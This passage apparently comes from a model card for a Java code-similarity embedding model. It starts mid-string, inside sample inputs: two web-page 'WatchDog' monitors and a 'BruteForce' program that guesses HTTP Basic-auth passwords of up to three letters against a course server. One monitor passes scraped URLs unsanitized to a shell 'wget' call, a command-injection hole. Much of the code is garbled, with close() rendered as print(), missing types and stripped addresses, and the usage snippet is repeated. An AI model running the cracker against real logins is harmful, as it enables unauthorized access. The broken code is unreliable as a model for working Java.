i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         